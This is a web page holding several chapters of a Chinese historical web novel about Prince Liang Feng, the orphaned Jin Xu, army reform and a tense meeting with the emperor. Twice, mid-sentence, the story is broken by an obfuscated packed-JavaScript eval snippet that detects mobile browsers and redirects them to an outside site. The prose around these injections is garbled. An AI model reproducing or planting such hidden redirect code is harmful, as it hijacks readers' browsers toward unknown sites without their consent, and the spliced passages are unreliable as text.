金絮眨了下眼,睫毛覆盖的阴影遮住眼睛闪烁的底色,她道:“不留了,那些书留着,万一被官府发现......” 她果然是舍不得的,梁风有些不忍心。 “陛下似乎不欲通过私藏禁书治罪,否则不会在焚尸过后才下禁书指令,我也未听说有谁在这次事件中丧命,或许......或许偷留一两册书是可以的。” 可他能上哪搞到书来呢?梁风说完就后悔,“我......” 金絮不知不觉低下头,“为什么要禁书呢?” 她声音极轻,带着困惑和不解,挣扎在屋内每一根烛火覆盖下。 他想说什么,脑海里忽然浮现一篇金延守曾经写著的文章。那篇文章中提及对前朝一起焚书事件的态度,而金延守乃至百官的态度是支持——金絮肯定看过这篇文章,梁风登时不知道说什么了。 “王爷。” “嗯。” 金絮直视他的双眼,“我想去太南。” “什么?” 梁风脑筋一顿,什么也想不到了。 金絮躲开视线,放低声音再道:“我想去太南。” 梁风面上难掩惊讶,音量盖过她,“你去太南?” 她原本放在案几上的双手收回交握,显得有些局促,但还是道一声:“嗯。” “你一个人去?” “嗯,我想回去看看。” 她刚才还说自己老老实实藏在屋子里,梁风眼花了,看不出她眼中的光亮是烛火反射,还是因为希冀。 “这......这你能怎么去?”他有点急了,“你没有户籍,办不成路引,连京城都出不去。” 是连这王府都出不去。 金絮捏着手指,慢慢低下了头。 “太南城内可能还会有人认出你,即便、即便没人认出你,太南战后重建,那边乱得很,你一个人过去太危险了。” 梁风怕语气凶到她,暗自调节呼吸,放轻了再说:“我知道你会想回去看看,我是理解的,真的,只是眼下的情况确实不合适。” 她很久不说话,不知在想什么,烛火退出她的眼睛,浑身气息都缩成一团。 梁风还想再劝,金絮小声说道:“对不起。” 这话一出,梁风反而局促了。 “不不不,你不用道歉......你......” 他找不到话。 金絮却再次摇头,“是我冲动了,我知道我哪也去不了,我不想了。” 梁风更加找不到话。 房间内变得极静,地板仿佛都被空气压沉了。 敲门声突然响起。梁风侧目看去,李晟推门而入。 “王爷,浴水已经备好了,您今夜早些睡吧。” 金絮反应比他还快,立即起身福礼,做出送他的姿态。 梁风看着她认真道:“你说的话,我会好好想想的。” 她愣了一下,欲言又止,最后只道:“嗯。” 梁风跟着老李回竹苑。 关上房门,他沉声问:“我不在的时候,金絮有提过她想去太南的事吗?” 李晟惊了,“金姑娘?想去太南?” “她没同你说过吗?” “没有。”老李神色严肃起来,“金姑娘想怎么去?” “她......她应当还未认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839841|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真筹划过。”梁风想起前两月见她时她的样子,不由有些内疚,“她心里还是藏了事的。” 藏了事——这是当然啊,她这情况,怎么可能心里一点事都没想呢,反倒是他想得简单了。 她说冲动,怎可能呢,她肯定是在心里反反复复想了好久,才决定今晚把话说出来。 “我是不是疏忽她了?”梁风越想越担忧,“老李,她不会想不开吧?” 李晟被他这话说得一愣。 “她会不会是准备回了太南后,追着家人们一起赴死啊?她毕竟对京城不熟悉,对她来讲,太南才是她的家。” “王爷,您先别自己胡思乱想,金姑娘不像是有这念头的。她若寻死,怎么会留到现在。” “可是......” 可是万一呢?看她平日不声不响,一开口却这么让人不安,梁风很担心她。 “您实在担心她,那便多劝劝吧,金姑娘若真有这念头,劝她打消了也好。”老李捋着胡须,轻轻一叹,“熬过这段日子,再一天一天地过,这辈子倒也能长的。” “只不过,”老李看着他双眼,认真道:“金姑娘未必是想寻死,她也会想报复。远离天子脚下,方能从长计议。您清楚,该抽身时必须放手,必要时候,强硬一些,也未尝不可。” 强硬......梁风沉默着。 老李备好了衣裳便退出去,梁风脱衣跨入浴桶。一静下来,近期发生的事情不可控地尽数涌入脑海。他呆滞了瞬间,耳朵里短暂地鸣叫一声,后脑勺便抽疼起来,好像有个小人在他的头骨和头皮之间蹦跳叫嚣。待浴毕,浴桶里的水都凉了。 他散着半湿的头发,往床上大字一躺。 黑夜沉淀着希冀的眼睛没说出口的话,床榻是令他烦躁的柔软。 梁风翻来覆去,躺了不知多久,实在是睡不惯了,相比营里的硬板床,棉絮包裹的感觉简直恶心。 他站起来,双脚踩着棉被在床上绕圈。 该怎么跟金絮说呢? 如果他是她,在这个时候,他会希望听到什么? 茫然忧虑得睡不着,梁风索性披衣下床。 推门被月光一晒,院子里是他从未见过的明亮,梁风发觉自己好久没有抬头看看了。大多数时候是在低头看报、低头思索、低头听士兵来禀,太阳月亮天天在头顶照着,却很少多看它们一眼。 它会不会孤单啊,梁风心想,就算是孤单他也陪不到啊。 不知不觉走到府心湖,远远就能看见泛着粼粼月光的湖面,和湖岸通亭的矮桥。桥上有一抹白色人影。 梁风细细看去,绕过湖岸树枝,身穿白色衣裙的身影靠湖坐在桥墩上。桥墩很矮,她缩成一团,衣裳在清亮的月光下像一团掸不开的雾气,衬得黑发更黑。 府里只有金絮穿着纯白衣裳,梁风和其他人为避嫌都不敢穿。 孤单的也不只是月亮。他快步回房,把外袍穿好,再拿一件斗篷,回到湖边时,金絮还是那样坐着。 她低头看着什么,眸中阴郁沉静,也是忽视月亮地一个人。 梁风脚底摩擦地面,发出砂响,却没惊动她。 许是风声太大,打扰不到她的世界。梁风再度迈步,金絮忽然扭头看了过来。 她诧异站起,湖面掠过斗篷的倒影,梁风包住了这团清亮的雾气。 “王爷。” “入秋了,夜里风凉,李婶不是和你说要早点睡吗?” “别又着凉了。”梁风替她系上斗篷绑带。 “我睡不着,起来走走,马上回房了。”她低头不与他对视,轻微的局促盖过眼底的郁色,双臂很听话地合拢斗篷。 “若不是我也没睡着,你打算在这坐一晚上吗?” 她脑袋更低,摇了摇。 “我上次回府,你还跟我说你睡得好了,现在又不好了。” 她抿嘴不语。梁风牵着她往亭子里走,“你来,我有些话想和你说。” 亭中夜风小了,她的呼吸渐趋长缓,应才是刚才冻着了。 “你还记得,我在潇别府时,你跟我说过的一句话吗?” 她微愣,眨了眨眼。 梁风回忆着轻声道:“我那时遇到了难题,不知道该怎么解决,虽然那些问题现在看来也没那么难,可我当时真是想不到办法,特别希望能有一个人来帮我。他倒也不用真的帮到我,我只是想不那么孤单就好了。而那个时候,第一个说愿意帮我的人是你。” 她像是想起来了,立时开口:“王爷那时怎么不和我说,我会......” “傻瓜,我也不会真的让你帮我啊。”梁风安慰地笑了一笑,“金丞相让你住在太南,就是为了远离京城无止境的纷争,金丞相都这样做了,我又怎么可能把你牵扯进那些事情里呢。你是无心说的一句话,我知道,我心里很感激的。” 金絮住了口,嘴角不可控地有些发抖。梁风望进她的双眼,说:“所以现在,我没有立场去劝你什么,更不想自大地告诉你你现在应该怎么做,我只是不希望你觉得自己孤立无援,也希望你知道,我愿意帮你。” 或许是提及金丞相,她眼里有一点泪。 “但是不能去太南。” 他提一口气,转了话锋,“至少现在不能,我原先的打算是想等你慢慢走出来,过了这段时间,你再长大一点,有了保护自己的能力,你就可以决定去留,选择留在京城,或者去别的地方都可以。” “是我疏忽你了。虽然你不说,我也该知道你是肯定会想回家看看的。是我的问题,我怎么能要求你愿意多说话呢?” 他察觉最后这一句有些不妥,想改口,“我是说......” “可是王爷,我不想拖累你。”她嗓子里带了哭腔,“我知道你的处境,我不想因为我连累到你和你的母亲。我留在王府只会给你带来麻烦。” 梁风怔了,没料到她会这样想,她心中煎熬比他想的更甚。梁风苦笑,“你是为了我着想啊。” “但这不是拖累啊。如果这是拖累,那金丞相生前在朝堂上帮我的时候,我于他而言也是拖累。” 金絮瘪着嘴,想到了金丞相,眼泪越积越多。 “可是......你连......寄给李管家的信,你真正想说的话都要藏在信封的夹层里。” “这又如何?我是行事谨慎,即便你不在,那封信我一样会藏在夹层里。” 片刻,他补一句:“其实我也不用这般畏首畏尾,犯不着谨慎至此的。” 梁风握住她的手腕,她被夜风吹得很冷,“金丞相愿意帮我,我也愿意救你。这是我愿意,你不是拖累,知道吗?” 她咬着牙,眼泪流出来,但没有哭。 “金絮,你心里有恨吗?” 她抹着眼泪用力点头。 “你想怎么做?” “我不知道......” 她眼中的黑夜在包裹她,也在排斥她。 梁风为她拭去眼泪,“你要活下去,无论以后选择什么样的路都不要放弃自己,知道吗?” “......嗯。” 眼睛都被她揉红了,梁风看着很心疼。 金絮抽泣着,逼住眼泪,“王爷,我父亲是好官吗?” 他想了想,道:“我很喜欢金丞相,对我来讲,他是好官。对旁的人来讲,他或许不是。” 金絮哽咽着没说话,洗过的眼睛亮得发烫。 梁风露出一抹笑,“但他一定是个好父亲。” 待金絮心情平复,梁风牵着她回西苑。这时月亮却躲起来,四周黑得看不清路,梁风拉近她,还是不放心,再叮嘱:“以后心里有什么事情,都可以和我说,知......好不好?” 她十分清晰地“嗯”了一声。 梁风捏捏手指,思索着道:“我不能带你去太南,但是可以带你去看看丞相府,你想去吗?” 不出京城,他有把握保证她的安全。金絮没答话,梁风却能感觉到,黑暗中,她那双充满希冀和感激的眼睛看了过来。 “但你要有心理准备,焚毁后的丞相府,几乎是一片狼藉。” 107. 《红叶书》(二七) 重大罪臣的府邸,可能翻新后由皇帝赐给下一个人居住,可能拆除后分成数块土地卖给百姓,或是由哪位不信风水的富商买下,极少的情况才会空置。 如论如何处置,金絮能看最后一眼的机会只有现在。京城内几乎无人认得她,在相府门前偷偷看一眼,应当难度不大。 “这里距离宫门只有一条街,你在天亮前从王府后门出去,混在赶早集的人群当中,跟着人群走就能到南市。集市里你随便买点什么,不能空着手,从南市出去后往东边走再左转就到大街,然后你就知道路了。在相府门前不能停留,也不能多看,回来时要绕一点路。那附近能看到一座塔,你往塔的影子方向走,一直走就到城内河,记得挑户没开门的人家,把买了的东西放在门口,我会在河边安排一辆马车......” 梁风点燃一支蜡烛,烛芯小心翼翼簇着一团火苗。金絮坐在榻边,随着梁风的讲述,神色越发惊疑难安。 “我能陪你去,但只能远远看着你,我们不能离得太近。你换上小缃的衣裳,再涂点黑粉,走在街上应当不显眼。” 梁风一皱眉,“不对,不行。” 她会没法回来。按他这计划的时辰,她从城内河返回的路上极易碰到下朝的官员,如果在外逗留到午时街上人少了再回来,看见她的人又会增多。 “不然还是等入夜后吧,更安全些。”可是相府没灯,漆黑一片,什么也看不清。 “或是......或是容我再想想,等我下次回府......”可是下次回府不知道什么时候,马上过了十月就会下雪,相府再有何痕迹,白雪一盖,什么都看不到了。 梁风越想越头疼。 金絮突然道:“我们方才在陈心湖,会不会被人看见了?” 梁风一愣。 她再说:“今夜月光好,陈心湖那儿又宽敞,如果有人一直盯着,一定看见了。” “只是......”她手攥紧了膝盖的衣裳,不敢相信,“深夜里也会有人时刻盯着王府吗?” 他刚想开口,金絮问:“这是不是会给王爷带来麻烦?” 她声音里真切地想知道回答。梁风下意识脱口而出:“不会。”但心知金絮的担忧不无依据,他从未觉得盯着王府的眼线只存在于王府内部。 他改口:“你不会一直这样活着的。” 不知是光线不好,还是她眼里神色太过复杂,梁风在她眼中什么也没看清。 “从前爹爹也是这样被人盯着吗?” “是。”梁风颔首,手压住胸膛呼气,不想在她面前做出叹气的样子,轻声道:“不仅是你爹爹,朝堂上的每一个人都被人盯着,每一个人也都盯着别人。丞相位置之高,在他以下的所有人都盯着他看呢。” 火苗挣扎出的光线逐渐变亮,最终金絮决定不去丞相府了。 “人都不在的,我不去了。” 金絮眸色昏暗,看着他的双眼并不坚定。梁风心中烦闷,不想见她这副样子,更不想听她这样说,柔声道:“你不要想太多,以后都会好起来的。”梁风坐到她身边,“我陪着你,我陪着你呢。” 孤独的蜡烛照亮一小片地方,狭小的温暖被窗户缝溜入的夜风包裹得更凉了,她坐靠风口,还替梁风挡了些寒意。 “如果娘亲还在,她会希望我怎么做?” “如果顾夫人还在,她一定会希望你好好地活下去。” 风吹起她的头发,窗户开了些,梁风去窗前拉紧窗户。 金絮吸鼻子,“我不够强大,没有保护好我的娘亲。” 搭住窗沿的手骤顿,心底狠狠抽动,疼得差点脑子迷糊,他猛然听见窗外一股响亮的风声,指头里捏着的窗棱就被这股风卷走了。窗户大开,夜风扑面灌入,面门顿时敞亮了,发丝都吹到脑后,梁风抬头看见无比清晰的月亮。 “对不起。” “我做的还不够。” “娘亲希望我无忧无虑,可我不该无忧无虑。” “他在宫里独自承担压力,为什么我就帮不到他,为什么以前从未想过坚定地站在他身边。” “总以为离失去他的日子还很远。” 寒意从足底蹿到头顶,这股风吹过去,梁风立即拉紧窗户,发丝垂下来,他额头磕到窗户上,手掌用力按着胸膛,心里叹了一气。 “王爷......” 梁风转过身去,蜡烛熄了,什么都看不清。 他又把窗户打开,这次没有风了,一大束月光照进来,金絮还是刚才的姿势坐着。 “你不要像我一样。” 颤抖的尾音颤进了他心里,越来越痛,梁风紧紧抓着衣襟,没想到自己竟然会被她劝慰,更压不住内心深处涌上来的惶恐。 “胡说什么呢,不是你的错。” 金絮用手背擦脸,吸着鼻子,没有说话。 从她房里出来,梁风后半夜没睡。 站在她的院子里,替她守着夜。 庭下四面砖墙与矮树,似围非围,他看着疏朗宽阔的夜空,回想刚才金絮跟他说话的模样。 院子里的树从盖了一层月光,到披了一层破晓,晨曦成了可见的光束,掩映间雾气愈浓。天际澄澄濛濛,睡醒的鸟儿展翼划过高空,啾鸣声声入耳。他被啾鸣声惊醒,回过神来,天已经亮了。 晨间空气湿润,梁风目光直视太阳升起的方向,眯着眼睛看,光线尚且温柔,照住他一身过夜的寒气。 隐隐听见脚步声,他才恍然惊觉自己竟在她院子里过了一夜,匆忙快步离开。 微风夹带露水拂面而过,迷蒙的头脑逐渐清明,绕过角廊,遇见早起备早饭的李晟。 李晟看见梁风,惊了一惊。 “王爷这便起了?” 老李神情惺忪,步伐缓慢,整夜未睡的梁风更显精神些。 见到老李,他惶恐后半夜的心安定下来。 “老李。我知道了,我想明白了。” 他抓住老李手臂,像是有了倚仗,呼气一般道:“想保护住自己爱的人,我该做的是强大,而不是听话。” 李晟愣住了。 梁风回身看向金絮屋里,道:“难道要等到什么都失去的那天,我才知道后悔。她还这么小,就比我懂。” 老李下意识顺着他的目光看过去,很快看回来,立刻问:“王爷想怎么做?” 梁风扭头再次迈步,边想边说:“前段时间太忙,倒把一件事给忘了。初夏招进来的新兵,我还没花心思练过。” 那批新兵他交给了副将,副将派了校尉管束,几月过去,不知效果如何。 “王爷的意思是......” “我吃个早饭,吃完就回营里去。” “这便走么?王爷昨夜才回来。” “嗯,这便走了。” 他到屋换衣裳,打个哈欠再说:“我以后再往府里寄信就不藏着了,其实也没多大必要。” 老李想了想,应是。 换好衣服,梁风想起昨晚金絮的话,顺嘴问道:“你怎么要和金絮说我在宫里的事情?不必说的,平白让她多想。” 李晟这一听倒是反应过来了,“金姑娘是因为这,才想着要去太南么?” 老李接着说道:“倒也不是特意跟她说的,该是上回李大夫向我问及您的近况,她在旁边听到了吧,是我的疏忽。” 梁风摆手,“不妨事,她要是什么都不知道,心里反而没那么踏实。”他是不想责怪谁的,说清楚了也好,“本身也不需要凡事避她,弄得好像我提防着她似的。” 老李备好了早饭,寻隙问梁风:“王爷是想亲自训练新兵?” 他接过一碗鱼粥,还没应答,老李又问:“您想收拢军心?” 仿佛越界了,他心里直别扭,发觉把话说委婉些也挺好。 “还没想好,我想先试试陛下是什么态度......但我手里只有这个了。” 老李点头捋须,“陛下怕是也等着您呢。王爷,您把握好分寸,注意安全。” “嗯。” 金絮这会应当还在睡觉,梁风吃完早饭,没有叫醒她,独自牵马回营。 朝阳正好,京外旷野极能远眺。骑不多久,远远便能看见三缕竖起的炊烟,刚过辰时,新兵营里放饭了。梁风调转马头,向新兵营驾去。 营外戍守的士兵不见人影,晨起的第一□□练结束,校场内散乱的士兵扎堆闲聊,不时传来笑声。 梁风在校场内外走了一圈,他穿着便服,未佩甲,也不是王爷装束,几个路过他的人会多看他几眼,但没人认出他来。 看了一圈也没见到能算头领的人物。辰时一刻,大锅饭端上来,新兵们一哄而上,毫无纪律可言。 梁风在旁边看着,眉头越皱越深,无奈地自责。 中层将领过少,底层士兵缺乏管束,空出来的军位自皇帝登基后便未有人选补上,就连太尉一职都空悬至今。 年初几月,崔固在养伤,后又带兵出征,高层将领就那几人。起先他还能说是没有升降任免权,且军务太多忙不过来,放任军中乱象不管,可在皇帝给了他权限后他还毫无动作,皇帝是否不耐了?与丕入营,背后的目的是催促,还是真的为了替他分担军务? 他越发揣摩不透皇帝的意图了。 之前皇帝传过口谕,命他改正军中风气。他叹气,自省不能用忙不过来做借口,他早该发现乱象,及时一封奏折呈给皇帝,听皇帝定夺就解决了。 朝堂的事和军营的事就该分开对待,公事公办,犯不着互相牵扯。 他真是做什么都做不好,又不说,光在这里纠结有什么用。只是想到金延守的死,还有王府里那孤寂的背影,他实在不想主动开口跟皇帝说话。 圣旨几次暗示,说明皇帝也是有一点顾及他的想法的。宁愿等这么久,也不愿意主动表态,梁风心里呵呵一声。 等他们盛过一轮饭,梁风才过去捞点剩饭尝了尝,味道和口感只能说是尚算咽得下去。 那就从这锅饭开始吧。梁风以应和王的名义命襄国丞相调拨一万两黄金至京城应和王府。 末了他一想,改成五千两。襄国不大,只有十万户,比一般规模的郡城都要小些。他成为襄国的应和王后,还不曾为襄国做过什么,反而一开口就要钱,实在惭愧。最后他决定只要三千两黄金。 襄国虽小,离京城却不算远,位处不在边境,黄金送来需一月的时间。 调函寄去,梁风召集副将和几名先帝朝就在军中的老兵,经过半天商议,一口气提拔了二十几人。 从护军监军、派遣军校尉,到中郎将和常设将军、五校尉,全都有了新人担任,军中架构顿时清晰起来。 他还将这批新兵在基础训练结束后的分派做了初步确定,其中两成调充崔固麾下的抗匈精骑,另两成补充原先听命于贺兰将军后归入皇帝从越国带来的南军之中。 另有未入任何一支军队的后备散兵,以及林怒和赵横的残余部队,他打算把这些未归入军队的所有散兵收编为一支队伍,起名北军,由他统率,并初步估计,北军的人数应在崔固精骑和南军之间。 但他的提议遭到了几名老兵的反对,理由是军队成立当由陛下定夺。 梁风没强求,听下了驳回,他本也只是表个态,把他这口气传到皇帝耳朵里就行了。 等黄金送来的这段时间里,气温渐凉,梁风将大部分军务交给与丕,他自己日常监督新兵训练,上下走动确认军律的落实情况,入夜了才统一盖章批复军务。 与丕身上的脾气,被军务挤压着,可见的变得急躁了。 待黄金送抵,他的王府终于由内而外的变得些微富裕了。 他再从中抽出一万钱拨入军营,优先改善新兵营伙食和战马粮草。 一万钱,数额不算大,相府只需简单报备上呈。私自调拨私钱入营,这明显收拢军心的举动,足以引起皇帝的注意。 经过这月训练,新兵纪律初有成效,连着中层将领,在梁风时时监管下,至少暂时是遏制了懒散的风气。 十月下旬,孙提主动开口,请梁风指导与丕箭术。梁风没理由推拒,应下了。 每日多了一个时辰要和与丕面对面,梁风十分尽心地选了三把良弓送去给与丕。与丕收下了,梁风便将练箭地点定在距离与丕大帐最近的一处箭场。 第二日,梁风守时,与丕比他还早到了些时候,他不由有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839842|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些欣慰,看与丕日渐消瘦的脸庞,便问一句:“最近可还忙得过来?需不需要调配人手?我无暇管理军务,许多事情要靠你费心了。” 他估算过,与丕帐里人手应当是不缺的,但眼下年关将至,需要和相府统筹核算的事情增多了,可能还需要他帮忙。 与丕看了他一眼,心里想着什么,没答话。 梁风见状接着道:“有事就开口,我会尽量帮你,这些琐碎的事情,总不能叨扰平原侯。” 与丕闻言,沉沉一颔首,取了弓,径直走到场界外,手指勾弹弓弦,劲弦绷颤的声音清脆响亮。 梁风靠近,想细看与丕开弓射击的姿势,却注意到与丕手里的弓不是他送去的三把中的任一把。 这弓是暗红色,两端抹金,弓弦偏细,饰纹很花哨,军营里不会有这样不实用的弓。他脸上一点点欣慰逐渐消失。 与丕搭箭开弓,随意瞄准两眼,松手,箭轻巧地撺出去。 梁风盯着这弓,不用看都能知道箭势如何,与丕的姿势并不标准。 “好弓。”梁风顿一下道:“只是,这弓似乎并不是我给你的。” 与丕垂眸,手掌掂了掂弓身,“对。” 梁风摇头,“弓弦太细,华而不实,绷不出力度,不如我给你的那三把。” “是么?”与丕似笑非笑,将弓平举,细弦泛着银光横在梁风眼前。 “这弦看着是细,韧性却极强,未必就差。” 银弦在太阳光下愈发显得精致细软,梁风还是摇头道:“你使过便知道了,一把弓的好坏不完全取决于弦的韧性。” “这么差啊。”与丕做恍然状,“可这把弓是父皇赠予我的。” 头顶一个皇帝压过来,梁风表情一僵,再看这弓,精致得理所当然了。 与丕笑得得逞,玩味看着他,“将军还嫌华而不实么?” 梁风僵着脸,木然道:“嫌。” 他摆出严肃且公事公办的态度,“华而不实的东西本就跟军营格格不入。既然是陛下赠予你的,你就应该好好收起来,试箭万一绷断了弦怎么办?” 与丕收起玩味的表情,无趣道:“那就让父皇再送我一把,不就是弓么?” 梁风希望把话题带出去,见与丕目光回视箭靶方向,取箭搭弓,他立即着手调整与丕的姿势。 “左手虎口朝前,身体完全侧过来,对,右手贴脸,眼睛看弓不要看箭。” 箭咻地飞射而出,梁风听声响就知道脱靶了。 与丕皱眉,再取箭。 “这样练是不行的,没有成效,你自己都怕用力过猛把弦绷断了。” 梁风让下属取战弓来,先示范一箭。 “拉满弓,力度必须够,力度够了准头差一点都不是大问题。战场上敌军密集,即便不瞄准,随意射都能射中。” 他松弦射出,利箭贯穿靶心。 与丕照着他的样子拉弓,举弓下压的同时开弦,动作漫不经心,嘴上却笑说:“将军这是用教士兵的法子教我?” 梁风一愣,下意识反驳:“不是,箭术之道是相通的,任何人想学......” 与丕打断:“皇叔的意思是,我往后只能做个兵,还是说你新练的北军一个个都是将领之才?” 梁风来气了,收了弓道:“挑字眼未免过于狭隘了?陛下出于什么原因把你送来军营的你心里到底清不清楚?苦都吃完了还不知道专心训练?尽把心思放在这些事情上。” 他把弓扔给身边的士兵,厉声道:“随你怎么说,我不爱在嘴上逞能,最后箭术学得如何是你自己的事,不会因着你多说两句话就练得精准了。” 说完,他转头就走。这么说也有把话从北军上引走的意思。本来他还想着把与丕多少当个太子供着,至少不落人口实,现在看,不先出言警告,往后日日得跟他玩话里话外的把戏,好像他这个将军有多闲似的。 爱练不练,梁风心里翻个白眼,脚下走得大步。 与丕站在原地,掌心里捏着弓,也没理他。 怒气慢慢剩个尾巴,梁风在箭场入口还是止了步,不由自主地思索这事该怎么收尾。孙提请了他,他答应了,自然该给孙提脸面,他也不希望跟与丕关系闹得太僵,实无必要。 估计到最后,不是他放下身段,就是孙提好言劝和,不管哪种,他肯定是要继续教与丕箭术的。那既然以后还要天天见面,刚才是不是应该委婉一点? 梁风烦躁地皱眉,叉腰叹气。 急促的马蹄声渐渐靠近,他听声音知道是副将来了,侧身一看,高大的骏马急停,副将大喊:“将军,将军!陛下来了!” 梁风眨眨眼,手还叉着腰。 副将边踏地边道:“夏公公说,陛下这次亲临军营是临时起意,来之前并未通知任何人,现在您的大帐里等着呢。” 梁风还是眨眼,“亲临......” “将军,陛下在您帐里等着呢。”副将又说了一遍。 “我知道。”梁风上马,勒紧马缰又夹住马肚,骏马原地嘶鸣踏了两步,向大帐奔去。 他还以为最多下道圣旨,没想到皇帝会亲自过来,是想检视他的北军么? 营帐四周很静,站着一行排列整齐的禁卫军。梁风看着这阵仗,隔了一段距离沉默下马。 禁卫军与军营分属两个系统,他管不着。他要是能管,就安插两个人进去,时时向他汇报皇帝的一举一动,皇帝想亲临军营的念头他就能提前知道。 他也不进去,就站在外边,想理一理头绪再进去。 帐帘却在这时掀起来,里头走出来一个白面皮太监。 梁风隐约记得这人,在他大哥梁究身边见过,梁究死后,这人转头就成了梁戟身边的贴身太监,现在都能跟着一起来军营了。 他心底生出些厌烦来——太监都是些惯会见风使舵的人,梁戟想必很喜欢这类的人。 夏培走出后向他一礼,“见过应和王殿下。” 嘴上道礼,手上的帘子捏着不放,梁风眉毛还没松开,就见帐内再走出一人。 穿着玄色常服,半点不沾军营里四散的沙气。 “阿风。” 梁风木着个脸。 108. 《红叶书》(二八) 气氛似乎有微妙的尴尬。 梁戟神色沉静,嘴角微微带笑,立在门口看着他。 自以为是。梁风暗骂自己,平了眉毛,环臂合手向皇帝行礼。 “免礼。”皇帝转身回到帐内。 夏培还捻着帐帘等梁风,“将军快进去吧,陛下等着您呢。” 梁风走过去自己费事把帘子一挡,无视夏培。帐里面皇帝已经在主位坐下了。 “入秋无事,朕来看看你。” 无事?梁风压下皱眉的冲动,并不入座。 长史奉茶进来,夏培接过,转身便献给皇帝。梁风却注意到夏培转身时对茶盏暗暗一闻的动作。 梁风张开双臂向两侧抬起,打开面门,展示一息,向皇帝道:“看完了。”然后转身就走。 “阿风!”皇帝急得拍案而起,声响镇住夏培手里被惊到的茶。 梁风于是站定,等待下文。 方才瞬间上头的波澜平息,皇帝似乎叹了气,挥挥手,夏培放下茶盏,礼后退下。 梁风斜眼看着这个从他身边路过的太监,直到帘帐一角的掀动恢复。他心里想笑,又是只有他们两个人了,皇帝又会说什么见不得人的空口白话。 他回身注视皇帝,尽量做到面无表情。皇帝拍案的手筋骨突现,脸上因梁风的轻视举动而微愠。当先打乱对方情绪,他这时可以很清楚地感受到皇帝的呼吸,从胸膛中震颤呼出,还有鬓角几丝白发。 梁戟手收至袖下,呼吸隐去,沉声问道:“为什么想成立北军?” 意料之外的直白。还以为皇帝会绕弯子,从他为什么调取襄国黄金开始绕起。既然如此直接,梁风猜测提及这件事只是梁戟抛的一个引子,为防止后面的话超出他的掌控范围,他想先将话题引去他希望的方向。 “臣想为陛下分忧。” “看看你方才的样子,是想为朕分忧的意思吗?” “是。臣入军营这几年来,无论是您,还是先帝一朝,臣始终在被推着走,如今臣下定决心,也想为军政稳定做点事了。” 梁戟下巴动了动,却没张口,似乎压住下意识的举动,改了主意,眼角浅淡的皱纹和眉心皮肤缓缓平展,袖下的手都松开了。 “当然,朕相信你。你既然想为朕分忧,那便替朕出征,收服南边匪乱。” 梁风一瞬间想笑,前胸后背的铠甲仿佛骤然收紧,攥紧他的胸腔。 像是没等到他的回答,梁戟看他的眼神渐重。 梁风道:“好。” 原来之前与義两次代传的话是这个意思。他总是觉得有一瞬间抓住了梁戟在想什么,可是一转眼又发现自己猜错了。 “好。只是臣有一不情之请。”梁风道。 皇帝盯了他两眼,片刻才道:“你说。” “待臣收服匪乱,恳请陛下允臣带着臣的母亲回襄国。” “回?” 皇帝道:“你从未去过襄地,为何叫‘回’?” 他哪会没事挑这些字眼,“臣......” 皇帝抬手打断,“襄地是先帝赐给你的藩地,襄国地小人口瘠薄,你虽受了册封,但一直未持印赴任,朕便打算将你的封地换成燕国,燕国地大物博,你意下如何?” 他心头一凛,皇帝这是要转移话题,他欲急忙开口,再次被抬手喝停。 “至于你母亲,朕目前无法让她离宫。” 梁风顿时冷脸,无法让母亲离宫,那说这些也没意义了。 “陛下,臣十分担忧母亲在宫里的境遇,一日不见她,臣一日不会带兵离开京城。” “你如今也会威胁朕了。”皇帝神色自若,“你可知,朕是为何不放你母亲离宫?” 皇帝气定神闲宛如尽在掌握的表情他真是越看越讨厌。 “是因为年初,群臣弹劾金延守时,你是为数不多的帮金延守求情后还活到现在的人。不是朕不相信你,是游照同不相信你。” 游照同,梁风对此人不了解,接触不多,印象中是在先帝朝朝会中举笏板上奏的模样。 “朕问你,你是不是金党?” “我不是。”梁风答得很快。 他的回答并未让皇帝在意,似只是顺口一问。 “游照同屡屡上谏,让朕废黜应和王,并责怪朕为何数次袒护于你,甚至赐你兵权。相府得知你意图成立北军的当天晚上,反对的定论便已下达,朕还是在第二日才得知。” 梁风差点讥笑,“我不相信,金党刚被剿灭,游党就出现了?” 皇帝摇摇头,“这是你不懂了,一时有一时的朋友,一时有一时的敌人。你既然不是金党,那为何如此维护金延守?你知不知道,你为金延守求情的时候,朕每日收到的折子中必然会有一句话,说的是‘应和王恃功,求请无厌’?” 梁风抿嘴不语,那段时间他天天上朝,也隐约听见那些人嘴角齿缝碎出来的一点风声,都在说他不是个十分正派的人。 “阿风,朕告诉你,死在朝堂上的人,没有一个是无辜的。金延守未必值得你那时苦苦维护,更不值得你以现在的处境为代价,为他说那两句毫无意义的求情的话。” “不是毫无意义!” 怒从心头起,梁风扭头不去看皇帝。 “有没有意义你心里清楚。”皇帝站起来,放缓了语气,“为了安抚游照同,朕不能放你母亲出宫,至于成立北军一事,朕会向相府争取。”思索片刻又道:“你去收服匪乱,成功之后,朕允许你自由出入宫禁,你随时都能见到你的母亲。” 梁风心里并未放松,斜睨着皇帝,“我也是你一时的朋友?” “你......”皇帝说了一个字止住,想迈步走过来,在梁风警示的眼神下收了动作。 “‘一时’是多久?能够长达十年?如果在你心里,我能和‘朋友’相提并论,那我这几年白认你那么多声‘哥’了。” 